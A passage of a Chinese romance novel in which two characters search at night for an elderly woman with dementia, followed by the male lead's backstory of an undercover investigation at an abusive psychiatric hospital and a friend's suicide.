大脑有一瞬间的朦胧,心跳频率提升了一些,呼延又想起白天吴措从千云峰把她背下山的画面,他随着走动而上下起伏的后脑勺,和身上隐隐泛出的须后水的味道。 她的思绪停滞住,已经忘记最开始搜索的初衷,是想找到吴措口中自己在精神病院四年的痕迹。 在她意识神游时,门口传来“咚咚”的敲门声。 “呼延真!” 是香香女士的声音。 呼延放下手机和已经化掉的碎冰冰,深一脚浅一脚往门口走。 打开门,香香女士正掐着腰站在她的门外,走廊的声控灯亮起,呼延注意到原来天已经全黑了,天气不怎么好,乌云遮月,不见星光。 “又怎么啦香香大小姐。”呼延倚着门框支撑身体的重力,受伤的一只脚虚虚搭在另一只上方。 香香女士一副兴师问罪的架势,“呼延真,你又偷我的东西!” 呼延望着她:“我又偷你什么了?” “你还好意思问我?”香香女士怒目圆睁,“你偷了什么你不知道吗?” “提示一下呗。”呼延说。 “床单!筝筝的床单你拿哪去了?”香香女士说着就往呼延身后的房间里探看,“是不是被你调包了?” 呼延叹了口气,刚要说话,隔壁房间的门“吱呀”一声打开,吴措从里面走了出来。 呼延抬眼,对上吴措的视线。 他没说话,看起来也没有说话的打算,旁观者一般地站在了自己的房门口,静观着呼延的反应。 “心虚了是吧?”香香女士把呼延的不说话理解为心虚,更加理直气壮,“就是你欺负我家筝筝,偷换她的床单!” “床单不是在那儿晾着呢么。”呼延指着楼道窗户,从这里看过去可以看到底下的晾衣绳,上面挂着白天她陪香香女士一起洗过的床单。 “新床单给你放柜子上了,要不你再回去找找?”呼延极有耐心地和香香解释。 香香女士顺着呼延指着的方向望过去,果然看到了熟悉的蓝白条纹床单,她略微思考了一下,又瞬间恍然大悟。 “是你泼水弄湿了我们筝筝的床单!” 呼延:“……” 吴措极轻地笑了一声,右手握拳挡在嘴前掩着,呼延看过去的时候他抬抬眉,一副自己什么都没做过的样子。 呼延这会儿也没时间收拾吴 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笑归笑,还是象征性地拦了两下,“哎轻点轻点,换一边打,两边对称打。” 吴措:“……” 吴措那点见义勇为的耐心快被呼延的幸灾乐祸磨没的时候,肚子吃坏了的封筝才姗姗来迟,一边拍着八哥的胳膊骂他为什么不先过来带人走,一边三步并两步踩着楼梯跑过来。 “又怎么了又怎么了?” 香香一看她过来,眼神都柔和了,还掺杂着点给人撑腰的气势,招呼她过来,“筝筝啊——” 刚说完又想起什么,嗔怪看着封筝:“作业写完了吗?又过来找同学玩是吧?” 封筝两手扶着她的肩膀把她往另一个方向推着走,“写完了写完了,回去检查哈。” 一边走着,悄悄回头朝呼延挤了挤眼睛,默声口型道:“我、先、回、去、啦!” 呼延站在门框边朝她摆了摆手,目送着封筝八哥带着香香女士离开。 时间还不算晚,很多人还在院子里乘凉聊天,但好在没人上来凑热闹,封筝几人走了以后,楼道里只剩下呼延和吴措两人。 呼延这会儿再看吴措,有种很怪的感觉。 像是在看一个熟悉的陌生人,他真的是吴措吗?那个她说一句他顶一句的吴措?那个为了一项报道在一个吃饭都困难的地方待了大半年的吴措?那个天南海北游历、每一处经历都像是曲折离奇的小说一样的吴措? “你——” “有——” 两人同时开口,又同时停住。 呼延抿嘴,看见吴措偏了偏头,似笑非笑看着她。 “什么?”吴措说。 呼延想了想,问:“你真在精神病院待了四年?那你写的报道呢?不是为了暗访才去的么?为什么没看到你的报道。” 吴措抱双手环臂,手指在胳膊上被打的地方蹭了蹭,“还以为你要说两句感谢话,高估你了。” “美死你了。” 吴措笑了声,“美死我吧。” 呼延咬了下嘴唇,“不要转移话题!精神病院的事呢?你是骗人的对吧。” “哦。”吴措若有所思的样子,“呼延医生终于开始有防备心了。” “所以你就是骗我的对吧!”呼延说。 “没有。”吴措说,“这次没有。” “那你……”她本来想问一下,那吴措是不是真的有病呢?不然即使是没病的人,在精神病院里待四年,也正常不到哪里去了。 可话到嘴边又憋回去了,算了,这种问题太僭越了。 好奇心是一方面,她不能这么没有分寸地去对一个男人刨根问底。 “没事了。”呼延说,“你刚才要问我什么。” 吴措看她一眼,说:“有挂烫机吗?” “什么玩意儿?” “……没事了。” 呼延停了一下,眉毛向中间挤了挤,拿腔拿调说:“咱们这边没有这种高级东西的,少爷。” “好的,我知道了呼延总管。” “毛病。”呼延翻了个白眼。 “您治。” 呼延白眼翻到后脑勺。 风很大,走廊的窗户没关,呼延的睡衣被风灌进去,撑着她瘦小的身体变大了一些,她的没有绑紧的马尾松垮地垂在肩头,刘海撇向两侧,又被风吹到了脸上。 呼延用手将刘海掼到耳后,视线望了下身后的窗户,准备走过去关上窗。 一只手撑着墙壁,准备拖着自己不怎么好用的两只脚挪过去的时候,一只胳膊抢先越过她的头顶,将离她还有一步之遥的窗户关上了。 锁好插销,确定好松紧后,吴措低头垂眼看向她,声音在她的头顶上空响起,“早点回去休息。” “呼延真。”他叫着她的名字。 “……” 呼延不知想起了什么,在吴措离开、回到房间后,过了半晌,才动身往自己房间走。 风摩擦着玻璃发出嘶鸣,比起开窗时的声响还要大。 呼延眨巴了下眼睛,在进门前看向吴措离开的方向,“神经啊,又叫我全名。” 22. 疤痕 呼延好不容易有一次早早回房休息,却始终没能入睡成功。 心里乱七八糟的,没什么确切的画面。 白天晚上的事情在脑海里乱切,时而有吴措和陆离的脸飘过,呼延觉得自己的眼睛甚至有些疲劳,到了一种一闭眼就开始朝上翻白眼的程度。 将近十一点,她终于在混乱中迷瞪瞪快要睡着时,门外再次响起一阵声响。 是八哥的声音。 “……院子门口监控显示往北走了,但路口是个十字,说不准去哪了。院长去村支书那调村里的监控了……” 呼延大脑还处于朦胧混沌的状态,但从八哥碎片的声音中察觉到应当是出了什么不好的事,她打开床头灯,披了件衣服走出来。 “我不太放心封筝,先去找她了,麻烦你了,有情况群里联系。” 呼延还没来得及问清楚情况,八哥扔下句话飞快离开了。 “怎么了?”呼延拦住朝楼梯口方向走的吴措。 吴措看了一眼她的脚,略一思索,说:“你先回房间,回来再给你解释。” 他又要走,胳膊被呼延抓住,“怎么了。” 吴措眉心蹙着,“沈奶奶走丢了。” 沈奶奶这个叫法太过生僻,以至于呼延反应了一下才意识到吴措说的是,香香女士。 她的呼吸一滞,手已经从吴措的手臂上脱离开。 去找香香女士的事没有惊动太多人,小院里仍旧是寂静的一片,被喊起来的都是小院的工作人员,除了老弱病残的几个,呼延因为脚伤被列为了其中。 “你在这里等着,沈奶奶可能会自己回小院。” 吴措很明显是安抚她的话,但也没有更多的时间同她细说,说完这句便朝着另一方向跑开了。 呼延自然是坐不住的,她的脚喷过白药喷雾剂,又上了宋殊的特制药,现在已经没有下午那么疼了,只有在用力时才能感觉到一丝拉扯的疼痛。 在吴措离开后没几秒钟,呼延一咬牙顺着吴措的方向追了出去。 桃源村的路灯少得可怜,夜空不算澄澈,月光晦暗,出门后路面一片漆黑,隔着很远的地方有一两盏路灯守着黑夜。 吴措用手机里的电筒照着路,他是在串了三四个巷子后才意识到呼延跟在他身后的。 灯光照向呼延,呼延抬手挡住刺目的光,眯着眼睛看向他。 “你跟出来干嘛?” “你觉得我能待得住吗?”呼延尽量让自己的脚步显得轻盈一些,走过去,“我比你了解桃源村,也比你了解香香女士。” “这不是比赛,呼延真。”吴措说。 “这是。”呼延说,“是在香香女士遇到危险前找到她的比赛。” 吴措静默了半秒,他手里的灯光和他的目光一齐落在呼延的脚腕上,又思索了半秒,默许了呼延的行为。 他们朝着西南方向地毯式地往外扩散搜寻,一路无声,只有两人脚下没有节奏的窸窣声。 “你和沈奶奶怎么认识的?”吴措忽然开口。 呼延奇怪地回头看向他。 “八哥说,沈奶奶是你带来的。” “封筝。”呼延说,“我先认识的封筝,然后才认识的香香女士。” 桃源村处在一片不是很平坦的地形上,有些地方上下落差很大,常走的路被修成了平缓的坡,但有些比较偏僻的地方还是维持着原始的像是沟壑一样的地形。 呼延用自己的手电筒照着路,经过土坡的时候,她用另一只手扶住了一侧的老槐树,准备借力上去。 在她的脚落在土坡的边缘时,一双手从上方递了过来。 呼延的手电筒角度向上倾了一下,落在那双向她伸来的手上。 在手电的照射下,吴措修长的手指向她展开一览无余,他手心的那道细长的旧疤显得更加明显。 吴措没有说话,只是平淡地看着她。 呼延犹豫了一下,把手递了过去,借着吴措的力量很轻松地爬上了坡。 然后很快又松开了彼此的手。 沉默了一会儿,呼延说:“我认识封筝的时候,香香女士的病还没有这么严重,我第一次去她家里吃饭,香香女士让阿姨做了满桌的十道菜。” “阿姨?” “看不出来吗?我们香香女士可是大小姐。”呼延回头看向吴措。 吴措嘴唇动了下,没说话,只点了点头。 “只是我认识她们的时候香香女士家里就落魄了,阿姨是小时候跟着香香女士的,后来在家政公司上班,周末还是去给香香女士做菜,只是前年去世了。” “封筝身上倒没什么做派感。” “封筝是香香女士前夫的外孙女儿。”呼延说,她又特意停下观察吴措听到这话的表情,可惜并没有看到她预料中的样子,呼延很失望,她觉得吴措情绪稳定到了可以去客串特务的程度,保准不会露馅。 “其实也算不上前夫吧,香香女士和这位先生十几岁的时候相爱,但门第悬殊,香香女士家里不同意,就骗他香香女士嫁人了,先生伤心之下和同乡一起去了香港,哪成想再回来消息的时候,就已经是97年了。” 97年,一个很标志性的时间点,是很多事情的起点和终点,但无法抹平的是“已发生”。 门第不匹配的结合通常是一个不怎么美好的故事的开端,吴措又想起了自己的母亲,她当年拿着从娘家带过来的百万嫁妆帮第一次创业失败的傅惟度过了难关。 他们的故事没那么美好,结局更是个悲剧。 吴措没说话,他们走得时快时慢,有时候他在呼延前面一些,有时在她后面一些。 他偶尔会故意放慢脚步看向呼延的背影,她的脊背很薄,头发被风吹得凌乱,有些偏瘦的身影在黑夜和手电的勾勒下显得坚定且清晰。 村子里很静,偶尔会有一两声犬吠。 呼延握着手机,又说:“先生人没回来,只带了封信和一个小女孩。” “封筝。” “嗯。”呼延叹了口气,“封筝是先生的外孙女,一家零零碎碎到头来也只剩下了封筝一个,就跟着回归一起送回大陆了。香香女士一开始是不愿养封筝的,她家里刚经历了破产的变故,生活水平一下子天翻地覆,也根本无力再去照顾一个不到十岁的小女孩。” “封筝被送到福利院,但第二天香香女士就去把人接走了。” “于心不忍?” 呼延缓缓摇头,表情变得复杂玩味,“香香女士说自己缺个丫鬟,让封筝给她当丫鬟。” 吴措:…… “封筝和我说,她一直到二十岁的时候和香香女士的关系都不是很好,她觉得香香女士恨外公没有像她一样等着,所以把气撒在她身上。” “沈奶奶不知道她父母对封筝外公说的话?”吴措问。 “知道,但香香女士傲气,觉得这些都不是理由,爱一个人怎么能因为她嫁了人就停止呢。” 吴措哑口无言。 他默了片刻,居然觉得也挺有道理。 “所以事情是从什么时候开始出现转变的。” “什么?” “封筝和沈奶奶的关系。” “哦。”呼延思维似乎停顿了下,又反应回来,“香香女士生病的那天吧。她开始患病后就开始记忆错乱,总觉得和那位先生还是只隔了个港口,所以每周一天固定去港口等着。封筝也是那时候才知道在她到来之前的每一天,香香女士的生活是什么样子。” 月亮曲高和寡地挂在树上,树影黯淡地落在呼延淡薄的身上,吴措看着呼延。 “香香女士糊涂了以后才开始和封筝说心里话,她把封筝当成了自己当年小姐妹,说明天再去等一天就去嫁人,肯定让他回来看到悔到肠青。说她母亲给她留下的最后一样嫁妆也被她卖了,二老知道她把家败成这样要气得从地里爬出来。说封筝那个小丫头啊性格太弱了总被人欺负,她明天要亲自去收拾那几个欺负她的臭小子……” 呼延声音渐渐停住,月色凉凉地沁入了她的咽喉,让她的声音听起来有一点颤抖。 吴措站在呼延的侧后方,他向前伸了伸手,最终只是扶了下一旁的树。 呼延却忽然回过头来,她看向吴措,“可是怎么办,我们还是没有找到香香女士。” 吴措视线向一侧偏了下:“周几?” “什么周几?” “她周几去港口。” 离桃源村不到五公里的地方就是一座不大不小的港口码头,好巧不巧地成为了香香女士用以寄托的新地标。 呼延知道他的意思,“不一定。她的时间是混乱的,有时候一天能连着过几个节假日,拉着封筝去港口等好几次,有时候好几天都想不起来。他们肯定去港口找过了,以前也丢过两次,都是在港口找到的。” “上个月附近的港口污染整改封起来了。”吴措说。 呼延停下来,“什么意思。” “她没有时间概念,只认港口这个地标,可是港口没了,她找不到去接人的地点,会去哪里?” 风摧着云从月间穿过,月光挤破云层洒了下来。 呼延静默了三秒,在明朗的月光下和吴措对视。 五分钟后,他们在候船室门口的公告牌旁找到了蹲在路灯下的香香女士。 她穿着单薄的衣服,口中喃喃着,船又延误了…… 呼延很重地吐了口气,但这口气并没有让她产生任何轻松的感觉。 候船室门口亮着微弱的、昏黄色的路灯,她把手机的电筒关掉,收进衣服口袋里。而后很轻很慢地走到了香香女士旁边坐下。 吴措站在不远处,看着呼延的影子被路灯斜斜地拉成很长的一条,又随着她坐下的动作聚成一个小小的黑团。她的手放在自己的膝盖上,背微微弓下去,整个人显得竟有些乖巧。 他拿出手机给八哥发消息,说不用着急,人找到了,在港口不远处的候船室。 香香女士眼神放空了一会儿,才看到坐到她旁边的呼延。 她偏头盯着呼延的脸看了许久,然后忽然举起两只手掌,托住了呼延的脸,上下左右地查看了一番。 “你怎么过来了?”香香女士皱着眉头,一脸不悦,“还学会逃课了是吧。” 呼延呼吸屏住了一瞬 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她似乎更擅长处理那种强烈的、危险的场景,或者说,她在那种场景下更加游刃有余、无所畏惧。 她不应该是名医生,她应该是一个特警,或者,一个朋友。 她如果作为朋友的身份,看起来让人更安心一些。 吴措的脚向前挪了半步,急促的脚步声从身后传来。 八哥和封筝赶了过来,封筝跑过去迅速蹲下,一把抱住了沈兰卿的肩膀。 沈兰卿愣住一下,试图把人推开,“你是谁啊,你要干嘛?筝筝,这是谁?你快把她拉走。” 封筝松开,平复了下情绪,但开口仍然带着隐约的哭腔,“我是筝筝,外婆。” “外婆?”沈兰卿疑惑,“你叫谁外婆。” “外婆。”封筝又叫了一遍,“我是筝筝。” “筝筝……”沈兰卿重复了几遍,“筝筝……” 她似乎陷入了某种回忆中,片刻后,恍然大悟看向封筝,“小风筝,你逃课了?!” 封筝的手搀在沈兰卿胳膊两侧将她扶起,“放假了,想吃外婆炖的梨汤。” “小冤家。最后一次了。”沈兰卿哼了下,又忽然回头看向呼延,“这是你同学?快回家吧,这么晚了,别让家里人担心。” 呼延点点头,目送几人离开。 香香女士对封筝究竟是一种什么感情呢?呼延之前一直说不准,但在他们的身影在灯光下越来越远的时候,呼延有点明白过来。 她们像是港口离岸的两艘孤船,只有看向彼此的时候才会记得当年漂泊动荡、乘风归港的那些时光。是依靠也是镜子,是没有血缘的自己人。 呼延对着几人离开的方向发了多久的呆,吴措就站在原地看了她多久。 世界无声又漫长地静止在这一个瞬间。 一直到呼延回神,才发现了吴措的视线,在晦暗不明的灯光下,她的耳后不明缘由地热了一下。 “回去吧。”她说。 回去的路没有那么远,但呼延总觉得他们走了很久,来时听到的犬吠都消失了,空气寂静得可怕。 她忽然觉得自己要负担起找个话题打破尴尬的责任。 如果是其他时候,她不会管这些。但今天吴措做了好事,他第一个找到了香香女士。 这是呼延对他的奖励。 “你的手,是怎么受伤的?” 他们并肩走着,步伐很一致。 呼延的视线瞟了一下吴措的右手掌,又看向前方,“看起来是很久以前的疤。” 吴措看了她一眼,不止一眼,他的目光落在她身上很久。 虽然在呼延看回去的时候,他的视线已经收回了,但呼延就是觉得,他看了她很久。 “见义勇为。”吴措说,声音很轻。 呼延沉默了。 吴措知道呼延会觉得,他的这句话仍然是个类似恶作剧的、逗弄她的小谎言。所以他没有接着再说其他。 但片刻后,呼延说:“我房间里有舒痕膏。” 吴措偏过头去。 “祛疤的。”呼延说。 吴措又看她一眼,说:“明天吧。” “哦。” 她也没说要今天给他啊。 这么晚了,而且旧疤又不急于这一晚。 呼延挺想怼他两句,但没说出来。 风慢慢变小了,夜凉起来。她拽了拽自己的袖口,迈步走得快了些。 回到楼上,开钥匙进房间前,呼延转身张口准备说句“晚安,谢谢”之类的,但吴措已经推门进了自己的房间。 她皱了皱鼻子,拧开门把手进了房门。 吴措没有直接回床上躺下,他径直走向了书桌。 桌子被他收拾得很干净,除了原本就有的一盏台灯外,桌面上只有一张拆开塑封的明信片。 纸张在台灯下反射着黄色的光,他坐下,将明信片打开。 里面写着很简单的两行字。 人生无限,做你想做的。 友,陆离。 23. 噩梦 四年前,吴措的账号后台收到一条匿名私信,说北城长平精神病院滥用药物、虐待病人。 对方私信完就注销了账号,经过两周的调查准备和事实确认后,吴措以抑郁症治疗为由住进了长平路88号。 住院手续办得非常顺利,吴措做了大量的功课,他甚至去看了十几小时的抑郁症病患纪录片,了解、学习、模仿抑郁症病人的症状。 他成功通过了抑郁症诊疗测试。 唯一和计划不太一样的是,他模仿的是中度病患,但确诊出来的却是重度抑郁。 他把这项意外记录下来,列为了精神病院缺乏专业性的证据之一。 吴措住院的时间已经接近傍晚,办理完手续后医院工作人员收走了他的手机,理由是心理疾病的治疗要排除所有其他因素。 也在他的预料之中,几乎所有精神病院都是这样的。 手机只是个幌子,吴措准备了另外的秘密拍摄录音设备,他庆幸医院的防备还没有到监狱的程度,不会用金属检测仪扫描。 除了通信设备,其他物品的携带并不严格,他被允许带几件自己的贴身衣服进去,吴措把录音设备藏在了衬衣纽扣上。 长平医院的住院部没有开放病房,也就是说,没有可以由家属陪同的病房区域,全部为封闭病房。 封闭病房每层都是一个病区,一个病区有十几间房,一间房里住三到四个病人。 换上住院服去认房间的时候,医护人员告诉吴措,这间房暂时只有两人,另外一个人和他一样,都是重度抑郁症患者,也都是独自前来住院的。 吴措望了下旁边那个铺好的床铺,整齐到让他这个半洁癖的强迫症患者都觉得舒适。 不知道是对方自己整理的,还是医护人员。 事情到这里都还十分正常,直到他来到医院食堂。 医院的作息十分规律,下午五点半到六点半是用餐时间,吴措是接近六点到的。 通常分病区的医院食堂都是分开建的,也就是说他应该只和同病区的病人在同层的食堂。但这里只有一个食堂,面积很大,容得下上百人的用餐。 吴措进去的时候,里面声音嘈杂,没人注意到他。 他调整好隐藏镜头角度试图寻找一些不对劲的地方。 很快,不远处传来一阵餐盘落地的声音,吴措站起身,看到一个剃着光头的男人将餐盘砸到了旁边桌的矮个子男人头上。 矮个男人开始尖叫,光头骂了句什么,抓起勺子开始往矮个男人身上戳。 餐具里没有刀叉筷子这种危险性物品,勺子是塑料的,伤害性有限,但混乱中不知从哪伸出一只手递过去一个用布缠着半边的像是刀片一样的东西。 光头看也没看,拿起“刀片”就要往矮个男人身上戳。 但被一个声音阻止了。 “程鹏,冷静!” 吴措看过去,说话的是一个身形稍显清瘦、五官轮廓清晰干净的男人,他穿着和所有人一样的病号服,但气质很拔群,看起来甚至不像一个病人。 光头又骂了声“草”,腮帮咬肌动了动,把“刀片”扔到了地上。 矮个男人还在尖叫,有大概十几个病人围着他熙攘议论。 直到这时候,才有医护人员赶过来,两针分别戳在光头和矮个男人身上,把两人带走了。 其余病人准备散去的时候,吴措看到有个人逆着人流往前走,一步一步地向那个方才说话的人靠近。 在常亮的白炽灯下,他手里的“刀片”反射着并不明亮但却很锋利的寒光。 而对方正在俯身收拾着被扔到地上的餐盘,丝毫没有注意到危险的降临。 三秒后,这人听到了身后以及周围的喊叫声,扭过头,看到一个没有见过的男人,举着胳膊挡在他的身后。 男人手中握着一把不到十公分的、边缘磨得尖薄的石片,鲜红的血从他的掌心溢出,顺着手臂滴落到地面上。 不远处,那个反社会人格的狂躁症患者正狞笑着看着他们,他的眼睛痴迷地望着男人流血的手,仿佛这是神赐的伟大杰作。 又是一阵混乱的骚动后,才跑过来三个安保控制带走了出手伤人的反社会人格病患,拿走了行凶的石片。 虎口的皮肉绽开,吴措不确定自己的手部神经有没有被切开,只是感觉一整条胳膊疼得发麻,血源源不断地从掌心流出,却没有一个医护过来帮他处理。 “可能没有那么卫生,但现在我要给你快速止血,防止失血过度。” 那个男人撕掉了自己的衣服一角——为了防止病人用来做其他事,病服材质并不怎么□□——捋成细条状缠在了他的手上。 在他为吴措简单包扎完后,慢一步的工作人员才慢吞吞赶过来,将吴措带走处理伤口。 伤口处理结束吴措回到病房,看到他旁边那张整齐又整洁的床上坐着一个人。 “谢谢你,我叫陆离。” 这是陆离和他说的第二句话。 吴措和陆离相处的时间不算长,从认识的第一天,到他被隔离控制的那天一共是18天,再到他得知陆离在天井望风时自杀,不到半年。 陆离的抑郁症和他的不太一样,叫作“生理内源性抑郁症”。 他住院前做功课时,有大致了解过,这种病是和脑内某种神经递质的改变有关,分单相和双相,陆离是典型的单相抑郁患者。 在不发病的时候,陆离看起来非常正常,吴措甚至偶尔会用“开朗”这种词来形容他。 陆离和病区的每个人相处都很好,他说话时很温和,性格也是如此,他会在医护还没来的时候,安抚好躁郁症突然发作的病人。 他像一个没有执照的医生,或者说,一个平等布施的修行者。 陆离说他之所以选择住院,是因为他的爱人。 他想陪她久一点,想给她快乐的一生。 想治好自己,像一个正常人一样和她相爱。 所以他治病的时候非常积极,吞药时利落干脆,去电击治疗室时毫不踟躇,永远站在第一排等待着,脸上没有一丝害怕的情绪。 但他发病得很频繁,几乎每天一次。 陆离发病时会有很明显的躯体化表现,严重的时候时胃酸倒流、进食障碍,面上几乎没有血色,嘴巴像涂了白色的糖粉,说不出一句完整的话。 吴措有几次看到他用指甲抠自己的手腕,到出血的时候又恍然清醒一般松开。但清醒的时候他的表情比自残时更痛苦。在这之后陆离会主动呼叫医护包扎,然后主动去电击室做治疗。 吴措看到陆离的表情,像是一种向上帝讨要自己的、无力的痛苦。 陆离还会整夜失眠,这算是他所有症状最轻的一种。 住院部有十六个小时都在亮着灯,陆离对医院提供的安眠药已经产生了部分免疫,他睡不着的时候就坐在床上看书。 吴措的作息在长平路时被打乱得很厉害,因为医院混乱的管理和草率的治疗,他怀疑很多病人在住院后反而病情增加——调查结果也的确如此。 他有几个晚上在11点钟后仍然没有睡着,从床上翻身看到了正在看书的陆离。 陆离抱歉说,是不是打扰到他了。 吴措说没有,他只是睡不着。 他问陆离,在看什么书。 陆离把封面给他看,一个不认识的作者写的一本不认识的书,叫《爱和远途》。 “我刚才翻到了一句话。”陆离说。 “什么。” “没有结局的爱是一场灾难。” 吴措沉默了两秒,说:“呼延真?” 那时他已经因为陆离每日提 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没有书、没有电子设备,他躺在那张木架的单人床时,脑中放空着想着各种事情。 他想起了他母亲自杀前,曾经去学校找过他一次。 她让吴措跟她走,她买好了机票,如果他愿意的话,他们马上离开这座城市,永远不回来。 当时吴措高一,他记得很清楚,那是节数学课,老师在课上说让他下周代表学校参加奥数比赛,说完没几分钟母亲出现在门口。 吴措答应得很快,他没有一秒的犹豫。 他从很小的时候就知道他的父亲是一个烂人,他说吴措的母亲是他这一生唯一的挚爱,他也的确给了她唯一的名分和让人瞩目的财富。 这并不影响他每个月换不同的情人,虽然他从不把这些人带回家。 他说那些女人不配被他带回家,仿佛可以进这个家门已经是一种恩赐。 吴措劝过母亲和他离婚,可母亲总是含着眼泪摇头。他们从前有过一些美好的时候,她被过去以及那些虚无的承诺绊住了脚。 这次她终于想通、做好了决定,他当然义无反顾跟她走。 吴措没有收拾任何行李,书包、衣服都没带,他坐着母亲的车前往机场,心情爽快地像去奔赴一场盛大的旅行。 路上风轻云快,两侧的风景飞快地向后倒退,前方海阔天空。 他问母亲他们飞去哪,母亲说,很远的地方。 他们没有飞得起来。 在车子还没来得及驶上高速时,他们被五辆车截停在路中央,傅惟从其中一辆车下来,带走了母亲,他被随之而来的保镖带上了另一辆车。 他被关在别墅里无法出门,也没有手机电脑可以通信。 他用绝食的方式抗议,第三天终于有了成效。 傅惟敲了他房间的门,他被放出来的时候,傅惟和他说,去见你母亲最后一面吧。 那天的敲门声后来一度成为他许久无法抵抗的噩梦。 而在十年后,同样的噩梦再次上演。 有人进了他的房间,很轻描淡写地告诉他,那个以前和他住在同一个病房的人,割腕自杀了。 用的工具是一块削薄的石片,切得很深,没给自己留丝毫后路。 吴措的大脑空白了很久。 他听到十年前的那道敲门声不断在他耳边响起,震耳欲聋。 等他后来终于从长平路逃出来时,陆离在那里的痕迹早被抹得一干二净。 留下的只有吴措自己的物品存放区里,那张陆离写给他的明信片。 “帮我看看她吧……” 他带着这句话,来到了桃花小院。 24. 好人 呼延这一觉睡得很饱,宋殊又给了她半天假,到了将近晌午的时候她才慢悠悠醒过来。 下了床的第一件事,呼延扭了扭自己的脚脖子,活动自如,过了一个晚上已经几乎没有疼痛的感觉了。 宋殊很擅长配制这种治外伤的药,是从呼延外公那里继承来的,药方不复杂,但调制工序很麻烦,当初宋殊教过她,呼延倒是把配方记下来了,但一次也没自己配过。 呼延原地蹦了两下,一用力脚下还是稍微有些吃疼,她又从床头拿过药膏,抹到了受伤的脚踝上。 药膏里有薄荷的成分,抹上去有一丝冰凉,她的食指中指并起,将乳白色的药膏在脚踝打圈的时候,同时视线落在了桌上的另一罐药膏上。 她昨晚睡觉前从药箱里找出来的,这种药膏没有添加防腐剂,保质期不长,这是一两个月前宋殊新给她的。 她很容易受伤,又有轻微的疤痕体质,胳膊上、腿上、膝盖上都是受伤重灾区。 这种舒痕膏宋殊几乎每三个月就要新做一批出来给她备着。 呼延用纸巾擦掉手上的药膏残余,拿起桌上的舒痕膏。 她挺记仇的,昨晚她准备和吴措礼貌道晚安他没理她,呼延有点生气。 但吴措昨晚找到香香女士立了大功,所以功过相抵了。 呼延心里左右平衡了一下,最终决定还是把舒痕膏拿给吴措。 正常来说,吴措这时候应该和八哥一起带第一批物理治疗,呼延拿着药膏出门,思考是等他回来,还是直接去找他。 她走出门的时候,正看到隔壁吴措房间的门半掩着,留着一道两指宽的缝。 呼延脑海中忽然闪出一道想法,她想看看吴措的房间什么样子。 房间布局她当然熟悉的,这个房间里以前住的是妙妙,她从前经常去妙妙的房间串门,有时候还会和妙妙一起睡在这里。 她好奇的是,吴措住着的房间会是什么样子。 他那么爱干净,肯定收拾得一尘不染。他会自己稍微布置一下吗?带一些自己熟悉的小挂件,摆在桌子上。 她的脚步向前挪了一些,又收了回来。 好奇这个干嘛,就算吴措的书桌上摆着尊佛像,她也会觉得这是他买手办拍错款式了。 吴措的形象在她这一直十分稳固。 一个不是什么好东西的好东西。 不是好人,是好东西。 她在心里给自己强调了一遍。 “想看就进去看。”身后清冽的声音撞进她的耳朵。 呼延一扭头,看到身后站着的吴措,撇了撇嘴,说:“我没要看。” 她拿出药膏,一本正经,“我是来给你送药的。” 呼延庆幸自己手里有个名正言顺的东西,让她看起来不像个偷窥狂。 “谢谢。”吴措说。 他接过药膏,随手放进了自己的口袋里,看着呼延。 “你吃完饭了?”呼延问。 她也不知道自己为什么说这句话,送完药膏该走就走了,说这些车轱辘话也太不是她的风格。 呼延准备撤了。 “嗯。”吴措说,“豆腐锅贴,孙姨做的。” “哦。”脚下最终没动,“刘姐的豆腐锅贴做得最有味道,不过孙姨做得也不差,两种风格。” 又是两句车轱辘话。 这下真该撤了。 “你脚怎么样了。”吴措问她。 “差不多了。” “伤筋动骨一百天,最近还是不要太多跑动,脚伤很容易复发。” “你还记得我是医生吗?” “哦。”吴措像是刚想起来似的,“是啊。” 呼延穿着家居服,是一件县旅游局免费发的文化衫,她拿了件大码的当睡衣穿,走廊的风不大不小,顺着袖口钻进来,但并不冷。 “我下楼找点吃的。”呼延说。 “嗯。” 呼延没再墨迹,扭头朝楼梯走,半道上碰到了八哥。 八哥简单问了声好,朝着呼延身后的吴措走过去。 “打听过了,隔壁村就有户人能做,是个木匠,以前他老婆生孩子难产宋院长帮过忙,听说小院这边需要,其他活全推了又叫了几个伙计,说最晚后天就能做出来,这不图纸都出来了。” 吴措从八哥手里接过图纸,低头看起来。 “你要造船?” 呼延不知道什么时候又折身溜了回来,一把抢过吴措手里的图纸,像是老花一样对着阳光看起来。 “这什么东西,这些广告牌是什么。” 吴措还没说话,八哥帮他开了口,“外婆不是走丢了么,吴措就帮忙出主意,在村口造一个小型渡口。” 呼延还是没明白,“走丢和造渡口之间的关联是?” “如果她需要一个渡口,就给她一个渡口。村外的渡口太远了,这次没出事算是幸运,保不齐下次会出现什么意外。”吴措抱着胳膊看着她。 呼延想了一下,明白了吴措的用意。 别说,这主意真挺精妙的,正常脑子想不出来。 “那么问题来了,”呼延没夸他,“渡口是你想建就建的吗?你考虑过成本的问题吗?考虑过能不能被批准吗?村口那条河虽然平时没什么用,但是你想建就建的吗?” “这事早上院长帮忙问过村支书了,知道我们的目的后村干部开会基本批准了,反正本来也就是造个假渡口,不碍事还能顺便打造个旅游景点。”封筝不知道什么时候走了过来。 “至于成本。”封筝顿了顿,看向吴措,“你帮忙找到外婆又出了这个主意本来就够不好意思了,肯定不能让你再花钱。” 呼延这回真惊了。 不是哥们儿,这就是家里有矿的底气吗?说掏钱建码头就建了? “你这说的像是我要全包了似的,”吴措笑了下,“我做了份计划书,看看能不能拉点投资。” “拉投资?”呼延插话,“你找谁拉投资?” “找你行吗?呼延老板赏脸看看我们项目?”吴措扬眉看着呼延。 呼延头一歪撇嘴看回去,“和你说正经的哈。” 吴措扯了扯嘴角,“以前认识一些做旅游投资的。” 呼延啧了两声,“吴少爷人脉就是广。” “呼延医生过奖了。” “夸你你还阴阳怪气。” “你的话如果是夸,那我的话也是夸,听起来像是呼延医生的夸赞并不怎么诚恳。”吴措抱臂微笑看着呼延。 “这都能吵起来?”一旁封筝悄声对八哥说。 八哥说:“欢喜冤家是这样的。” 封筝脸一皱,“别乱配对。” 然后走过去拉走了呼延,“过来找你说点事。” 呼延发挥不太好,正好给自己找了个台阶,和封筝走到一边,“什么事?” 封筝本来也就是想把两人拉开,没想好说什么,从窗口往下看看到了底下正在和星星一起折纸的小黄豆,说:“刘姐这周是不是一直没来看小黄豆……”然后顺理成章把话题带了出去。 吴措的视线追着呼延走了一会儿,她说话的时候表情非常丰富,肢体动作很多,不需要听内容就知道她现在的情绪是什么样子。 “咳,吴措。”旁边八哥咳了一声。 吴措眼神收回来。 